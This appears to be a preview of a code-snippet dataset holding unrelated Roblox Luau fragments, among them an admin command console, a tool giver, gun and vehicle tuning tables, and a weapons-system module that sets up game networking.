Size = scrollOpenSize;
})
local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {
Size = scrollCloseSize;
})
local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {
Position = openPos;
})
local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {
Position = closePos;
})
frame.Position = closePos
frame.Visible = false
frame.Size = scrollCloseSize
scroll.Visible = false
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
local function close()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
scroll.ScrollingEnabled = false
frame.Size = scrollCloseSize
scroll.Visible = false
players.Visible = false
scrollOpen = false
consoleCloseTween:Play();
debounce = false
opened = false
end
end
local function open()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll.ScrollingEnabled = true
players.ScrollingEnabled = true
consoleOpenTween:Play();
frame.Size = scrollCloseSize
scroll.Visible = false
players.Visible = false
scrollOpen = false
text.Text = ''
frame.Visible = true
frame.Position = openPos;
text:CaptureFocus()
text.Text = ''
wait()
text.Text = ''
debounce = false
opened = true
end
end
text.FocusLost:Connect(function(enterPressed)
if enterPressed then
if text.Text~='' and string.len(text.Text)>1 then
client.Remote.Send('ProcessCommand',text.Text)
end
end
close()
end)
text.Changed:Connect(function(c)
if c == 'Text' and text.Text ~= '' and open then
if string.sub(text.Text, string.len(text.Text)) == " " then
if players:FindFirstChild("Entry 0") then
text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." "
elseif scroll:FindFirstChild("Entry 0") then
text.Text = string.split(scroll["Entry 0"].Text, "<")[1]
else
text.Text = text.Text..prefix
end
text.CursorPosition = string.len(text.Text) + 1
text.Text = string.gsub(text.Text, " ", "")
end
scroll:ClearAllChildren()
players:ClearAllChildren()
local nText = text.Text
if string.match(nText,".*"..batchKey.."([^']+)") then
nText = string.match(nText,".*"..batchKey.."([^']+)")
nText = string.match(nText,"^%s*(.-)%s*$")
end
local pNum = 0
local pMatch = string.match(nText,".+"..splitKey.."(.*)$")
for i,v in next,service.Players:GetPlayers() do
if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then
local new = entry:Clone()
new.Text = tostring(v)
new.Name = "Entry "..pNum
new.TextXAlignment = "Right"
new.Visible = true
new.Parent = players
new.Position = UDim2.new(0,0,0,20*pNum)
new.MouseButton1Down:Connect(function()
text.Text = text.Text..tostring(v)
text:CaptureFocus()
end)
pNum = pNum+1
end
end
players.CanvasSize = UDim2.new(0,0,0,pNum*20)
local num = 0
for i,v in next,commands do
if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then
if not scrollOpen then
scrollOpenTween:Play();
--frame.Size = UDim2.new(1,0,0,140)
scroll.Visible = true
players.Visible = true
scrollOpen = true
end
local b = entry:Clone()
b.Visible = true
b.Parent = scroll
b.Text = v
b.Name = "Entry "..num
b.Position = UDim2.new(0,0,0,20*num)
b.MouseButton1Down:Connect(function()
text.Text = b.Text
text:CaptureFocus()
end)
num = num+1
end
end
if num > 0 then
frame.Size = UDim2.new(0.36, 0, 0, math.clamp((math.max(num, pNum)*20)+53, 47, 200))
else
players.Visible = false
frame.Size = scrollCloseSize
end
scroll.CanvasSize = UDim2.new(0,0,0,num*20)
elseif c == 'Text' and text.Text == '' and opened then
scrollCloseTween:Play();
--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
scroll.Visible = false
players.Visible = false
scrollOpen = false
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
end
end)
BindEvent(service.UserInputService.InputBegan, function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then
if opened then
close()
else
open()
end
client.Variables.ConsoleOpen = opened
end
end)
gTable:Ready()
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!! |
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Boomerang -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,VRecoil = {16,20} --- Vertical Recoil
,HRecoil = {8,12} --- Horizontal Recoil
,AimRecover = .325 ---- Between 0 & 1
,RecoilPunch = .25
,VPunchBase = 4.75 --- Vertical Punch
,HPunchBase = 2.5 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .75
,MaxRecoilPower = 2
,RecoilPowerStepAmount = .25
,MinSpread = 0.12 --- Min bullet spread value | Studs
,MaxSpread = 30 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = .15
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 3 --- Max sway value based on player stamina | Studs |
-- |
script.Parent.basla.MouseButton1Click:Connect(function()
game.Lighting.Blur.Size = 0
workspace.CurrentCamera.CameraType = "Custom"
script.Parent.Parent.Parent.Envanter.Enabled = true
script.Parent.Parent.Shad.Enabled = true
game.SoundService.Music:Play()
--
script.Parent:Destroy()
end)
|
--Character Script
--Unless you know what you're doing, do not modify this script. |
local tool = script.Tool.Value --This identifies the tool to perform actions on.
local player = script.Player.Value --This identifies the player of the character this script is inside.
if player ~= nil then --This ensures that the player exists.
local humanoidrootpart = script.Parent:WaitForChild("HumanoidRootPart") --This identifies the HumanoidRootPart inside the character.
player.CharacterRemoving:Connect(function() --This detects the removal of the character.
tool.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position.
tool.Parent = workspace --This puts the tool into Workspace, allowing players to pick it up.
end)
else --If the player doesn't exist, the following code will run instead.
script:Destroy() --This removes this script.
end
|
-- Amount of damage players will take when standing in lava |
local LAVA_DPS = 300
|
--[[
ServerPlayer state for when the player is using the camera system.
]] |
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local MonsterManager = require(ServerStorage.Source.Managers.MonsterManager)
local LeaveCamera = ReplicatedStorage.Remotes.LeaveCamera
local NOISE_GENERATED = 50
local connections = {}
|
--CHANGE THIS LINE-- (Turn) |
Turn = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal1a -- Change last word |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 468 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 4500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ==================== |
UseCommonVisualEffects = false; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects)
AutoReload = false; --Reload automatically when you run out of mag; disabling it will make you reload manually
CancelReload = true; --Exit reload state when you fire the gun
DirectShootingAt = "None"; --"FirstPerson", "ThirdPerson" or "Both". Make bullets go straight from the fire point instead of going to input position. Set to "None" to disable this
--Check "DualWeldEnabled" for detail
PrimaryHandle = "Handle";
SecondaryHandle = "Handle2";
CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first
CustomGripName = "Handle";
CustomGripPart0 = {"Character", "Right Arm"}; --Base
CustomGripPart1 = {"Tool", "Handle"}; --Target
AlignC0AndC1FromDefaultGrip = true;
CustomGripCFrame = false;
CustomGripC0 = CFrame.new(0, 0, 0);
CustomGripC1 = CFrame.new(0, 0, 0);
--CustomGripPart[0/1] = {Ancestor, InstanceName}
--Supported ancestors: Tool, Character
--NOTE: Don't set "CustomGripName" to "RightGrip"
|
--Set up WeaponTypes lookup table |
do
local function onNewWeaponType(weaponTypeModule)
if not weaponTypeModule:IsA("ModuleScript") then
return
end
local weaponTypeName = weaponTypeModule.Name
xpcall(function()
coroutine.wrap(function()
local weaponType = require(weaponTypeModule)
assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName()))
WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType
end)()
end, function(errMsg)
warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg))
warn(debug.traceback())
end)
end
for _, child in pairs(WeaponTypes:GetChildren()) do
onNewWeaponType(child)
end
WeaponTypes.ChildAdded:Connect(onNewWeaponType)
end
local WeaponsSystem = {}
WeaponsSystem.didSetup = false
WeaponsSystem.knownWeapons = {}
WeaponsSystem.connections = {}
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
WeaponsSystem.currentWeapon = nil
WeaponsSystem.aimRayCallback = nil
WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent")
local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks"))
NetworkingCallbacks.WeaponsSystem = WeaponsSystem
local _damageCallback = nil
local _getTeamCallback = nil
function WeaponsSystem.setDamageCallback(cb)
_damageCallback = cb
end
function WeaponsSystem.setGetTeamCallback(cb)
_getTeamCallback = cb
end
function WeaponsSystem.setup()
if WeaponsSystem.didSetup then
warn("Warning: trying to run WeaponsSystem setup twice on the same module.")
return
end
print(script.Parent:GetFullName(), "is now active.")
WeaponsSystem.doingSetup = true
--Setup network routing
if IsServer then
local networkFolder = Instance.new("Folder")
networkFolder.Name = "Network"
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
local remoteEvent = Instance.new("RemoteEvent")
remoteEvent.Name = remoteEventName
remoteEvent.Parent = networkFolder
local callback = NetworkingCallbacks[remoteEventName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...)
callback(...)
end)
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
local remoteFunc = Instance.new("RemoteEvent")
remoteFunc.Name = remoteFuncName
remoteFunc.Parent = networkFolder
local callback = NetworkingCallbacks[remoteFuncName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
remoteFunc.OnServerInvoke = function(...)
return callback(...)
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end
networkFolder.Parent = WeaponsSystemFolder
WeaponsSystem.networkFolder = networkFolder
else
WeaponsSystem.StarterGui = game:GetService("StarterGui")
WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem)
WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem)
if ConfigurationValues.SprintEnabled.Value then
WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value)
end
if ConfigurationValues.SlowZoomWalkEnabled.Value then
WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value)
end
local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge)
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
coroutine.wrap(function()
local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge)
local callback = NetworkingCallbacks[remoteEventName]
if callback then
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...)
callback(...)
end)
end
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end)()
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
coroutine.wrap(function()
local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge)
local callback = NetworkingCallbacks[remoteFuncName]
if callback then
remoteFunc.OnClientInvoke = function(...)
return callback(...)
end
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end)()
end
Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded)
if Players.LocalPlayer.Character then
WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character)
end
WeaponsSystem.networkFolder = networkFolder
-- Enable over-the-shoulder camera for internal initializations. Keep this disabled till the character holds a weapon (see BaseWeapon module script).
WeaponsSystem.camera:setEnabled(true)
WeaponsSystem.camera:setEnabled(false)
end
--Setup weapon tools and listening
WeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded)
WeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved)
for _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do
WeaponsSystem.onWeaponAdded(instance)
end
WeaponsSystem.doingSetup = false
WeaponsSystem.didSetup = true
end
function WeaponsSystem.onCharacterAdded(character)
-- Make it so players unequip weapons while seated, then reequip weapons when they become unseated
local humanoid = character:WaitForChild("Humanoid")
WeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated)
if isSeated then
WeaponsSystem.seatedWeapon = character:FindFirstChildOfClass("Tool")
humanoid:UnequipTools()
WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
else
WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
humanoid:EquipTool(WeaponsSystem.seatedWeapon)
end
end)
end
function WeaponsSystem.shutdown()
if not WeaponsSystem.didSetup then
return
end
for _, weapon in pairs(WeaponsSystem.knownWeapons) do
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons = {}
if IsServer and WeaponsSystem.networkFolder then
WeaponsSystem.networkFolder:Destroy()
end
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
for _, connection in pairs(WeaponsSystem.connections) do
if typeof(connection) == "RBXScriptConnection" then
connection:Disconnect()
end
end
WeaponsSystem.connections = {}
end
function WeaponsSystem.getWeaponTypeFromTags(instance)
for _, tag in pairs(CollectionService:GetTags(instance)) do
local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag]
if weaponTypeFound then
return weaponTypeFound
end
end
return nil
end
function WeaponsSystem.createWeaponForInstance(weaponInstance)
coroutine.wrap(function()
local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance)
if not weaponType then
local weaponTypeObj = weaponInstance:WaitForChild("WeaponType")
if weaponTypeObj and weaponTypeObj:IsA("StringValue") then
local weaponTypeName = weaponTypeObj.Value
local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName]
if not weaponTypeFound then
warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName()))
return
end
weaponType = weaponTypeFound
else
warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName())
return
end
end
-- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue
-- making a new weapon if something else beat this iteration.
if WeaponsSystem.getWeaponForInstance(weaponInstance) then
warn("Already got ", weaponInstance:GetFullName())
warn(debug.traceback())
return
end
-- We should be pretty sure we got a valid weaponType by now
assert(weaponType, "Got invalid weaponType")
local weapon = weaponType.new(WeaponsSystem, weaponInstance)
WeaponsSystem.knownWeapons[weaponInstance] = weapon
end)()
end
function WeaponsSystem.getWeaponForInstance(weaponInstance)
if not typeof(weaponInstance) == "Instance" then
warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.")
return nil
end
return WeaponsSystem.knownWeapons[weaponInstance]
end
|
-- Changes the body orientiation to make it face a given direction. Returns the computed angles |
function OrientableBody:face(direction: Vector3): Vector2?
local humanoid: Humanoid? = self.character and self.character:FindFirstChild("Humanoid")
if not humanoid or not humanoid.RootPart then
return nil
end
direction = self.character.HumanoidRootPart.CFrame:PointToObjectSpace(self.character.HumanoidRootPart.Position + direction)
local verticalAngle = math.asin(direction.Y)
if verticalAngle < Constants.OFFSET_Y and verticalAngle > -Constants.OFFSET_Y then
-- Vertical angle is within dead zone, do not change head orientation
verticalAngle = 0
else
if verticalAngle > 0 then
verticalAngle = verticalAngle - Constants.OFFSET_Y
else
verticalAngle = verticalAngle + Constants.OFFSET_Y
end
end
local horizontalAngle = math.atan2(-direction.X, -direction.Z)
-- If looking behind the character, it will instead rotate towards the camera
if horizontalAngle > math.pi / 2 then
horizontalAngle = math.pi - horizontalAngle
elseif horizontalAngle < -math.pi / 2 then
horizontalAngle = -math.pi - horizontalAngle
end
self.motor:setGoal({
horizontalAngle = Otter.spring(horizontalAngle),
verticalAngle = Otter.spring(verticalAngle),
})
return Vector2.new(horizontalAngle, verticalAngle)
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.